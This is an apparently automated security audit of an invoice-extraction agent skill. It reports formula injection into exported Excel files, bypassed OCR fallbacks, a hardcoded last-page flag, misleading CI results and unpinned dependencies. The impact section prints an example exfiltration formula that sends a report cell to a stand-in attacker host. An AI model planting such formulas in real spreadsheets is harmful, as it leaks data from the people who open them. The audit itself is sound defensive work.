Back to skill

Security audit

pdf-invoice-stat

Security checks for vulnerabilities and agentic risk

Overview

ClawScan marks this invoice-processing skill suspicious because it reports a spreadsheet formula-injection risk, alongside concerns about misleading capability claims and incomplete extraction behavior.

Consider the spreadsheet formula risk before using the skill with untrusted invoices, and review generated workbooks before opening them in software that evaluates formulas. The scan also reports capability and extraction reliability mismatches, unpinned dependencies, and partial coverage; it does not establish malicious intent or fully verify the artifact.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (1)

T09 · Insecure Skill Coding Practices

Warning
Location
invoice_extractor.py
Finding

Untrusted invoice fields are exported as Excel formulas

Content
View full analysis

Impact

The issuer can inject calculated content into the reimbursement report. In a compatible spreadsheet environment, a formula such as =WEBSERVICE("https://attacker.example/collect?value="&E2) can send another report cell to an attacker-controlled endpoint. Formula evaluation and external requests are conditional on the recipient's spreadsheet configuration; Python-side code execution is not established.

Vulnerability Patterns
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
  • Behavioral ASTexec() Call, eval() Call, Dynamic Import
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
Findings (32)

Description-Behavior Mismatch

High
Category
MCP Tool Poisoning
Confidence
94% confidence
Finding

The core invoice-extraction purpose, local processing, and Excel output match the description. However, the advertised five-format support is not implemented in the supplied code: the command-line input is passed directly to pdfplumber.open regardless of format. This is a capability overstatement, not evidence of malicious behavior. Other files could provide the missing format support, but that cannot be established from this chunk. Imported helper implementations are not supplied, so their behavior cannot be independently verified.

Content

No source excerpt is available for this finding.

Skill declares no tool scope ('permissions' or 'allowed-tools') but code capabilities were detected: file_read, file_write, shell.

Medium
Category
MCP Least Privilege
Confidence
70% confidence
Finding

Without declared permissions the skill's intent is opaque and cannot be validated.

Content

No source excerpt is available for this finding.

subprocess module call

Medium
Category
Dangerous Code Execution
Confidence
70% confidence
Finding

subprocess module calls execute external commands. Without careful input validation, this enables command injection.

Content

Scanner excerpt · format_router.py (reported line 195)May include surrounding context.

python
print('  ⚠️  RAR 需要 unar(brew install unar),已跳过')
            return []
        try:
            subprocess.run(
                [unar, '-quiet', '-force-overwrite', '-no-directory',
                 '-output-directory', workdir, path],
                capture_output=True, timeout=120

subprocess module call

Medium
Category
Dangerous Code Execution
Confidence
70% confidence
Finding

subprocess module calls execute external commands. Without careful input validation, this enables command injection.

Content

Scanner excerpt · releases/v2.4.6_stable_20261023/format_router.py (reported line 195)May include surrounding context.

python
print('  ⚠️  RAR 需要 unar(brew install unar),已跳过')
            return []
        try:
            subprocess.run(
                [unar, '-quiet', '-force-overwrite', '-no-directory',
                 '-output-directory', workdir, path],
                capture_output=True, timeout=120

The documented OCR fallback skips pages with no extractable text or invoice number.

Medium
Category
Excessive Agency
Confidence
98% confidence
Finding

In invoice_extractor.py, L359–L361 describe and select OCR fallback for empty or very short PDF text, but L351–L352 return before that fallback when the text does not already contain a recognizable invoice number. Additionally, L524–L528 skip textless pages altogether, so scanned invoices—the main case requiring OCR—cannot reach the documented recovery workflow.

Content

No source excerpt is available for this finding.

The documented invoice-final-page detection fix is bypassed by an unconditional final-page flag.

Medium
Category
Excessive Agency
Confidence
99% confidence
Finding

The module describes its key fix as using multiple invoice features to determine whether a page is the last page (L004–L006), and L093–L094 explicitly calculate that revised decision. However, L133 returns 'is_last': True regardless of the result, so the returned page metadata contradicts the documented invoice-boundary validation.

Content

No source excerpt is available for this finding.

The documented OCR fallback is bypassed for textless invoices and pages lacking a text-derived invoice number.

Medium
Category
Excessive Agency
Confidence
98% confidence
Finding

In releases/v2.4.3_stable_20261018/invoice_extractor.py, L354–L356 describe OCR fallback for empty or very short text, yet L346–L347 reject pages without an already recognizable invoice number before reaching it. The extraction loop also discards textless pages at L511–L513, contradicting the fallback's intended role in recovering invoices that require OCR.

Content

No source excerpt is available for this finding.

The CI test-results report declares success even when tests fail or real-invoice validation is skipped.

Medium
Category
Excessive Agency
Confidence
98% confidence
Finding

The step labeled “报告测试结果” runs with if: always() and unconditionally publishes successful unit-test, performance, and real-invoice results (L55–L61). These claims can contradict failed preceding steps or the explicit real-PDF skip at L46–L47, giving users misleading evidence of extraction reliability.

Content

No source excerpt is available for this finding.

The documented OCR fallback cannot handle textless invoice pages because they are rejected before OCR runs.

Medium
Category
Excessive Agency
Confidence
99% confidence
Finding

L355–L357 describe and select OCR fallback for empty or very short extracted text, but L347–L348 first require an invoice number extracted from that same text. Additionally, L519–L523 skip pages with no extracted text before calling this function, so scanned, textless invoices never reach the advertised fallback.

Content

No source excerpt is available for this finding.

subprocess module call

Medium
Category
Dangerous Code Execution
Confidence
70% confidence
Finding

subprocess module calls execute external commands. Without careful input validation, this enables command injection.

Content

Scanner excerpt · releases/v2.4.5_stable_20261022/format_router.py (reported line 195)May include surrounding context.

python
print('  ⚠️  RAR 需要 unar(brew install unar),已跳过')
            return []
        try:
            subprocess.run(
                [unar, '-quiet', '-force-overwrite', '-no-directory',
                 '-output-directory', workdir, path],
                capture_output=True, timeout=120

The documented last-page detection repair is bypassed by an unconditional final-page flag.

Medium
Category
Excessive Agency
Confidence
98% confidence
Finding

In releases/v2.4.5_stable_20261022/invoice_extractor_v240_compat.py, the documentation identifies the revised is_last decision as the compatibility repair (L004–L006 and L069), and L093–L094 calculate that decision. However, L133 returns 'is_last': True regardless of the result, so the advertised invoice-boundary heuristic is not reflected in the returned page information.

Content

No source excerpt is available for this finding.

The documented OFD amount/tax assignment is the reverse of the implemented assignment.

Medium
Category
Excessive Agency
Confidence
100% confidence
Finding

In releases/v2.4.5_stable_20261022/ofd_parser.py, L005–L007 state that the minimum monetary value is the pretax amount and the middle value is tax. The actual parser assigns the middle value to amount and the minimum to tax (L214–L224), consistent with the later function documentation but directly contradicting the module's stated strategy. This concerns the meaning of financial report fields, rather than a cosmetic implementation detail.

Content

No source excerpt is available for this finding.

The documented OCR fallback for pages without usable text is bypassed by text-based rejection.

Medium
Category
Excessive Agency
Confidence
98% confidence
Finding

Comments at L355-L356 describe OCR fallbacks for complex invoices and train tickets, and L357 explicitly includes empty text as a trigger. However, L347-L348 reject pages without a text-extracted invoice number before reaching that fallback; the caller also skips empty-text pages at L523. Consequently, image-only invoices cannot reach the documented recovery path.

Content

No source excerpt is available for this finding.

The compatibility module claims to repair last-page detection but discards its repaired detection result.

Medium
Category
Excessive Agency
Confidence
99% confidence
Finding

The module identifies repaired is_last detection as its central compatibility fix at L2-L6, and L93-L94 calculate that detection result. The returned record instead hardcodes 'is_last': True at L133, and the aggregation at L152-L184 does not consult the detector, so the advertised multi-feature decision has no effect on extraction.

Content

No source excerpt is available for this finding.

subprocess module call

Medium
Category
Dangerous Code Execution
Confidence
70% confidence
Finding

subprocess module calls execute external commands. Without careful input validation, this enables command injection.

Content

Scanner excerpt · releases/v2.4.7_stable_20261029/format_router.py (reported line 195)May include surrounding context.

python
print('  ⚠️  RAR 需要 unar(brew install unar),已跳过')
            return []
        try:
            subprocess.run(
                [unar, '-quiet', '-force-overwrite', '-no-directory',
                 '-output-directory', workdir, path],
                capture_output=True, timeout=120

The documented OCR fallback cannot recover pages with no extractable text or invoice number.

Medium
Category
Excessive Agency
Confidence
98% confidence
Finding

L359-L361 describe OCR fallbacks for pages with missing or minimal text, but L351-L352 return before those fallbacks whenever the original text lacks a recognizable invoice number. Additionally, L528 skips textless pages before this function is called, so scanned invoices cannot receive the documented fallback recovery.

Content

No source excerpt is available for this finding.

The claimed last-page detection repair is calculated but discarded.

Medium
Category
Excessive Agency
Confidence
99% confidence
Finding

The module documentation at L2-L6 and function docstring at L69 identify improved last-page detection as the compatibility version's central repair. Although L94 calculates that detection, L133 unconditionally returns 'is_last': True, and the aggregation at L151-L184 does not consult the detection result, so the advertised decision logic has no effect on extraction.

Content

No source excerpt is available for this finding.

Unpinned Dependencies

Low
Category
Supply Chain
Confidence
82% confidence
Finding

The open-ended pdfplumber requirement permits installation of future, unreviewed releases and does not provide reproducible dependency selection. This is a supply-chain hardening weakness rather than proof of a vulnerable installed package; processing externally supplied PDFs makes dependency provenance particularly relevant.

Content

Scanner excerpt · releases/v2.4.4_stable_20261018/requirements.txt (reported line 1)May include surrounding context.

text
pdfplumber>=3.0.0
openpyxl>=3.0.0

Unpinned Dependencies

Low
Category
Supply Chain
Confidence
82% confidence
Finding

The openpyxl lower bound allows dependency selection to change between installations, including adoption of an unreviewed or compromised future release. This is a limited supply-chain and reproducibility weakness, not evidence that the currently installed version contains an exploitable defect.

Content

Scanner excerpt · releases/v2.4.4_stable_20261018/requirements.txt (reported line 2)May include surrounding context.

text
pdfplumber>=3.0.0
openpyxl>=3.0.0

Unverifiable Dependency: openpyxl has 2 known advisory(ies) (CVE-2017-5992 (Improper Restriction of XML External Entity Reference in Openpyxl); CVE-2017-5992 (Openpyxl 2.4.1 resolves external entities by default, which allows remote attack)), but the manifest does not pin a version, so it is unknown whether the installed release is affected

Low
Category
Supply Chain
Confidence
40% confidence
Finding

OSV returned advisories for this package, but its resolved version is unknown. A package-name lookup does not establish whether the installed release is affected by those advisories.

Content

No source excerpt is available for this finding.

Unverifiable Dependency: openpyxl has 2 known advisory(ies) (CVE-2017-5992 (Improper Restriction of XML External Entity Reference in Openpyxl); CVE-2017-5992 (Openpyxl 2.4.1 resolves external entities by default, which allows remote attack)), but the manifest does not pin a version, so it is unknown whether the installed release is affected

Low
Category
Supply Chain
Confidence
40% confidence
Finding

OSV returned advisories for this package, but its resolved version is unknown. A package-name lookup does not establish whether the installed release is affected by those advisories.

Content

No source excerpt is available for this finding.

Unverifiable Dependency: openpyxl has 2 known advisory(ies) (CVE-2017-5992 (Improper Restriction of XML External Entity Reference in Openpyxl); CVE-2017-5992 (Openpyxl 2.4.1 resolves external entities by default, which allows remote attack)), but the manifest does not pin a version, so it is unknown whether the installed release is affected

Low
Category
Supply Chain
Confidence
40% confidence
Finding

OSV returned advisories for this package, but its resolved version is unknown. A package-name lookup does not establish whether the installed release is affected by those advisories.

Content

No source excerpt is available for this finding.

Unverifiable Dependency: openpyxl has 2 known advisory(ies) (CVE-2017-5992 (Improper Restriction of XML External Entity Reference in Openpyxl); CVE-2017-5992 (Openpyxl 2.4.1 resolves external entities by default, which allows remote attack)), but the manifest does not pin a version, so it is unknown whether the installed release is affected

Low
Category
Supply Chain
Confidence
40% confidence
Finding

OSV returned advisories for this package, but its resolved version is unknown. A package-name lookup does not establish whether the installed release is affected by those advisories.

Content

No source excerpt is available for this finding.

Unpinned Dependencies

Low
Category
Supply Chain
Confidence
85% confidence
Finding

The open-ended constraint permits installation of future, unreviewed pdfplumber releases and does not authenticate the resolved artifact. This is a supply-chain hardening weakness rather than evidence of an existing compromise; exploitation would require a malicious or compromised eligible dependency release.

Content

Scanner excerpt · releases/v2.4.5_stable_20261022/requirements.txt (reported line 1)May include surrounding context.

text
pdfplumber>=3.0.0
openpyxl>=3.0.0
# RAR 支持需系统工具: brew install unar

Unpinned Dependencies

Low
Category
Supply Chain
Confidence
85% confidence
Finding

The minimum-version constraint allows future openpyxl releases to enter installations without review or artifact hash verification. This creates a conditional supply-chain exposure, although no malicious release or currently exploitable installed version is identified.

Content

Scanner excerpt · releases/v2.4.5_stable_20261022/requirements.txt (reported line 2)May include surrounding context.

text
pdfplumber>=3.0.0
openpyxl>=3.0.0
# RAR 支持需系统工具: brew install unar